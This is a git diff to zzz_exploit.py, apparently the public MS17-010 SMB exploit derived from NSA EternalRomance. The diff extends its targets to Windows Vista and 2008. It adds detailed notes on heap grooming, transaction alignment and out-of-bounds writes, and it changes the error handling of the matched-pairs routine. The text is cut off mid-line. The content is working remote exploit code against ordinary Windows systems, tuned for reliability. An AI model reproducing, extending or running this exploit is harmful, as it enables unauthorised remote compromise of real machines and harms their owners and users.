diff --git a/zzz_exploit.py b/zzz_exploit.py index 2de8ccf..67e4920 100644 --- a/zzz_exploit.py +++ b/zzz_exploit.py @@ -19,13 +19,36 @@ Tested on: - Windows 8.1 x64 - Windows 2008 R2 SP1 x64 - Windows 7 SP1 x64 +- Windows 2008 SP1 x64 - Windows 8.1 x86 - Windows 7 SP1 x86 +- Windows 2008 SP1 x86 ''' USERNAME = '' PASSWORD = '' +''' +A transaction with empty setup: +- it is allocated from paged pool (same as other transaction types) on Windows 7 and later +- it is allocated from private heap (RtlAllocateHeap()) with no on use it on Windows Vista and earlier +- no lookaside or caching method for allocating it + +Note: method name is from NSA eternalromance + +For Windows 7 and later, it is good to use matched pair method (one is large pool and another one is fit +for freed pool from large pool). Additionally, the exploit does the information leak to check transactions +alignment before doing OOB write. So this exploit should never crash a target. + +For Windows Vista and earlier, matched pair method is impossible because we cannot allocate transaction size +smaller than PAGE_SIZE (Windows XP can but large page pool does not split the last page of allocation). But +a transaction with empty setup is allocated on private heap (it is created by RtlCreateHeap() on initialing server). +Only this transaction type uses this heap. Normally, no one uses this transaction type. So transactions alignment +in this private heap should be very easy and very reliable (fish in a barrel in NSA eternalromance). The drawback +of this method is we cannot do information leak to verify transactions alignment before OOB write. +So this exploit has a chance to crash target same as NSA eternalromance on Windows Vista and earlier. +''' + ''' Reversed from: SrvAllocateSecurityContext() and SrvImpersonateSecurityContext() win7 x64 @@ -57,7 +80,7 @@ struct SrvSecContext { BOOLEAN UsePsImpersonateClient; // 0x30 } -SrvImpersonateSecurityContext() is used in Windows 7 and later before doing any operation as logged on user. +SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user. It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns @@ -96,7 +119,7 @@ WIN8_32_INFO = { } OS_ARCH_INFO = { - # for Windows 7 and 2008 R2 + # for Windows Vista, 2008, 7 and 2008 R2 'WIN7': { 'x86': WIN7_32_INFO, 'x64': WIN7_64_INFO, @@ -145,6 +168,7 @@ X64_INFO = { } TRANS_NAME_LEN = 4 +HEAP_HDR_SIZE = 8 # heap chunk header size def calc_alloc_size(size, align_size): @@ -175,6 +199,7 @@ def next_extra_mid(): GROOM_TRANS_SIZE = 0x5010 def leak_frag_size(conn, tid, fid): + # this method can be used on Windows Vista/2008 and later # leak "Frag" pool size and determine target architecture info = {} @@ -332,6 +357,8 @@ def align_transaction_and_leak(conn, tid, fid, info, numFill=4): } def exploit_matched_pairs(conn, pipe_name, info): + # for Windows 7/2008 R2 and later + tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') conn.set_default_tid(tid) # fid for first open is always 0x4000. We can open named pipe multiple times to get other fids. @@ -399,7 +426,7 @@ def exploit_matched_pairs(conn, pipe_name, info): print('unexpected return status: 0x{:x}'.format(recvPkt.getNTStatus())) print('!!! Write to wrong place !!!') print('the target might be crashed') - sys.exit() + return False print('success controlling groom transaction') @@ -427,6 +454,155 @@ def exploit_matched_pairs(conn, pipe_name, info): conn.send_nt_trans_secondary(mid=info['trans1_mid'], data=pack('